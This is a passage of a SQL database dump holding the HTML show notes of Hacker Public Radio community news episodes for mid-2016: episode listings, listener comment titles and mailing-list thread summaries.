target=\"_blank\">Comment 4</a>:\nlaindir on 2016-06-16:\n\"Me too\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2050#comments\" target=\"_blank\">hpr2050</a></strong>\n(2016-06-10) \"<em>Developing Black &amp; White Film</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=337\" target=\"_blank\">handsome_pirate</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2050#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2016-06-21:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2052#comments\" target=\"_blank\">hpr2052</a></strong>\n(2016-06-14) \"<em>A Nerdy Conversation With Linden About Technology</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2052#1\" target=\"_blank\">Comment 1</a>:\ngurdonark on 2016-06-20:\n\"Good listen\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2053#comments\" target=\"_blank\">hpr2053</a></strong>\n(2016-06-15) \"<em>My 2nd HPR Beer Podcast</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2053#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2016-06-17:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2054#comments\" target=\"_blank\">hpr2054</a></strong>\n(2016-06-16) \"<em>Blather Configuration Part 1: Desktop Management</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2054#1\" target=\"_blank\">Comment 1</a>:\namunizp on 2016-06-17:\n\"Headless?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2054#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2016-06-17:\n\"Probably\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2055#comments\" target=\"_blank\">hpr2055</a></strong>\n(2016-06-17) \"<em>GNU Nano Editor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2055#1\" target=\"_blank\">Comment 1</a>:\namunizp on 2016-06-17:\n\"+1 for nano\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2055#2\" target=\"_blank\">Comment 2</a>:\n0xf10e on 2016-06-18:\n\"-1 for facebook, too\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2056#comments\" target=\"_blank\">hpr2056</a></strong>\n(2016-06-20) \"<em>Interview with a young hacker</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2056#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2016-05-16:\n\"Links to Blackpool Makerspace and Jam\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2056#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2016-05-17:\n\"Interview with a young hacker\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2056#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp  on 2016-06-21:\n\"Excellent! \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2057#comments\" target=\"_blank\">hpr2057</a></strong>\n(2016-06-21) \"<em>dodddummy on oats</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2057#1\" target=\"_blank\">Comment 1</a>:\nLuke on 2016-06-30:\n\"Steel cut oats\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2059#comments\" target=\"_blank\">hpr2059</a></strong>\n(2016-06-23) \"<em>More Tech, Less Magic</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=339\" target=\"_blank\">Todd Mitchell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2059#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2016-06-23:\n\"More!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2059#2\" target=\"_blank\">Comment 2</a>:\nTodd Mitchell on 2016-06-24:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2061#comments\" target=\"_blank\">hpr2061</a></strong>\n(2016-06-27) \"<em>Handwriting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2061#1\" target=\"_blank\">Comment 1</a>:\nBrian on 2016-06-27:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2061#2\" target=\"_blank\">Comment 2</a>:\njezra on 2016-06-28:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2061#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-06-28:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2062#comments\" target=\"_blank\">hpr2062</a></strong>\n(2016-06-28) \"<em>Now The Chips Are Definitely Down</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2062#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-06-28:\n\"Baofeng UV5R\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2086,'2016-08-01','HPR Community News for July 2016',4160,'Dave and Ken miss the regular recording slot but still get in the show','\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2065\" target=\"_blank\">2065</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-07-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2065\" target=\"_blank\">Whats in My Bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2066\" target=\"_blank\">2066</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-07-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2066\" target=\"_blank\">HPR Community News for June 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2067\" target=\"_blank\">2067</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-07-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2067\" target=\"_blank\">Haste - the pastebin alternative</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=277\" target=\"_blank\">John Duarte</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2068\" target=\"_blank\">2068</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-07-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2068\" target=\"_blank\">Podcasts I listen to and how I fetch them.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2069\" target=\"_blank\">2069</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-07-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2069\" target=\"_blank\">Counting Stuff in LibreOffice Calc</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2070\" target=\"_blank\">2070</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-07-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2070\" target=\"_blank\">Adventures with Jonathan Slocum</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2071\" target=\"_blank\">2071</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-07-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2071\" target=\"_blank\">Undocumented features of Baofeng UV-5R Radio</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2072\" target=\"_blank\">2072</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-07-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2072\" target=\"_blank\">That Awesome Time I Deleted My Home Directory</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2073\" target=\"_blank\">2073</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-07-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2073\" target=\"_blank\">The power of GNU Readline - part 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2074\" target=\"_blank\">2074</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-07-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2074\" target=\"_blank\">Experience With A Neighborhood Cat</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2075\" target=\"_blank\">2075</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-07-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2075\" target=\"_blank\">Skin cancer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2076\" target=\"_blank\">2076</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-07-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2076\" target=\"_blank\">What Magazines I read Part 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2077\" target=\"_blank\">2077</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-07-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2077\" target=\"_blank\">libernil.net and self hosting for friends and family</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2078\" target=\"_blank\">2078</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-07-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2078\" target=\"_blank\">What\'s in my bag?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2079\" target=\"_blank\">2079</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-07-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2079\" target=\"_blank\">Everyone Loves Some Acid House</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2080\" target=\"_blank\">2080</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-07-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2080\" target=\"_blank\">Kdenlive Part 3: Effects and Transitions</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2081\" target=\"_blank\">2081</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-07-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2081\" target=\"_blank\">Fixing my daughter\'s laptop</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2082\" target=\"_blank\">2082</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-07-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2082\" target=\"_blank\">Basic Audio Production - Equalization</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2083\" target=\"_blank\">2083</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-07-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2083\" target=\"_blank\">My 18th HPR Beer Podcast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2084\" target=\"_blank\">2084</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-07-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2084\" target=\"_blank\">Cleaning the Throttle Body on My Pickup Truck</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2085\" target=\"_blank\">2085</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-07-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2085\" target=\"_blank\">Penguicon 2016 Report</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Clinton Roy &lt;clinton.roy@...&gt;<br/>\n        <em>Date:</em> 2016-06-30 14:09:02 +1000<br/>\n        <em>Subject:</em> World map of contributors?<br/>\n        <em>Link:</em> https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1273<br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Venant &lt;venant@...&gt;<br/>\n        <em>Date:</em> 2016-07-01 19:31:57 -0400<br/>\n        <em>Subject:</em> Re: World map of contributors?<br/>\n        <em>Link:</em> https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1282<br/>\n        <em>Messages:</em> 11<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-07-20 09:42:36 +0200<br/>\n        <em>Subject:</em> Earth-friendly EOMA68 Computing Devices | Crowd Supply<br/>\n        <em>Link:</em> https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1293<br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2016-07-20 15:59:53 -0500<br/>\n        <em>Subject:</em> Earth-friendly EOMA68 Computing Devices | Crowd Supply<br/>\n        <em>Link:</em> https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1294<br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 18<br/>\n\n<small>\n<p><b><em>Editor\'s Note:</em></b></p>\n<p>The list of mail threads above date from a time when HPR mailing list\nmessages were copied to Gmane. At that time the Mailman mailing list software\nused to run the list seemed not to be able to archive messages, or possibly\ncouldn\'t make them visible. We built lists of threads by reading the Gmane\ndata and showed them here.</p>\n<p>Since then Gmane has failed, and been restored, but the HPR lists have been\nlost. However, a later version of Mailman made these messages available as\nthey should have been, so nothing was actually lost!</p>\n<p>The above thread links have been disabled, but the threaded list for the month in question can be seen at:<br/>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-July/thread.html</a>\n<p>\n</small>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 17 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2062#comments\" target=\"_blank\">hpr2062</a></strong>\n(2016-06-28) \"<em>Now The Chips Are Definitely Down</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2062#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2016-07-03:\n\"Re Baofeng UV5R\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2062#3\" target=\"_blank\">Comment 3</a>:\nMrX on 2016-07-04:\n\"Re Re Baofeng UV5R\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2064#comments\" target=\"_blank\">hpr2064</a></strong>\n(2016-06-30) \"<em>Test-Driving Devuan</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2064#1\" target=\"_blank\">Comment 1</a>:\nKrayon on 2016-07-19:\n\"SLiM\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2066#comments\" target=\"_blank\">hpr2066</a></strong>\n(2016-07-04) \"<em>HPR Community News for June 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2066#1\" target=\"_blank\">Comment 1</a>:\nIvan &quot;Epicanis&quot; Privaci on 2016-07-04:\n\"This is a thing of beauty\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2066#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-07-08:\n\"Series page\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2068#comments\" target=\"_blank\">hpr2068</a></strong>\n(2016-07-06) \"<em>Podcasts I listen to and how I fetch them.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2068#1\" target=\"_blank\">Comment 1</a>:\ncybergrue on 2016-07-06:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2068#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2016-07-07:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2068#3\" target=\"_blank\">Comment 3</a>:\nfolky on 2016-07-21:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2069#comments\" target=\"_blank\">hpr2069</a></strong>\n(2016-07-07) \"<em>Counting Stuff in LibreOffice Calc</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2069#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-07-07:\n\"Thanks for the quick tips\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2070#comments\" target=\"_blank\">hpr2070</a></strong>\n(2016-07-08) \"<em>Adventures with Jonathan Slocum</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2070#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-07-09:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2072#comments\" target=\"_blank\">hpr2072</a></strong>\n(2016-07-12) \"<em>That Awesome Time I Deleted My Home Directory</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2072#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-07-15:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2072#2\" target=\"_blank\">Comment 2</a>:\nbrian on 2016-07-17:\n\"great info\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2074#comments\" target=\"_blank\">hpr2074</a></strong>\n(2016-07-14) \"<em>Experience With A Neighborhood Cat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2074#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-07-14:\n\"This show is of interest to hackers\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2074#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2016-07-15:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2078#comments\" target=\"_blank\">hpr2078</a></strong>\n(2016-07-20) \"<em>What\'s in my bag?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2078#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2016-07-26:\n\"Mini9\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2078#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2016-07-28:\n\"My favorite\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2081#comments\" target=\"_blank\">hpr2081</a></strong>\n(2016-07-25) \"<em>Fixing my daughter\'s laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2081#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2016-07-26:\n\"Nice work!\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2111,'2016-09-05','HPR Community News for August 2016',5495,'Dave and Ken discuss the last month, why we need shows and the correct way to hang toilet paper.','\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=340\" target=\"_blank\">mattkingusa</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2086\" target=\"_blank\">2086</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-08-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2086\" target=\"_blank\">HPR Community News for July 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2087\" target=\"_blank\">2087</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-08-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2087\" target=\"_blank\">Magazines I read Part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2088\" target=\"_blank\">2088</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-08-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2088\" target=\"_blank\">How my wife\'s grandma got me into linux.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2089\" target=\"_blank\">2089</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-08-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2089\" target=\"_blank\">Solving a blinkstick python problem</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2090\" target=\"_blank\">2090</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-08-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2090\" target=\"_blank\">A Docker Dialog</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a 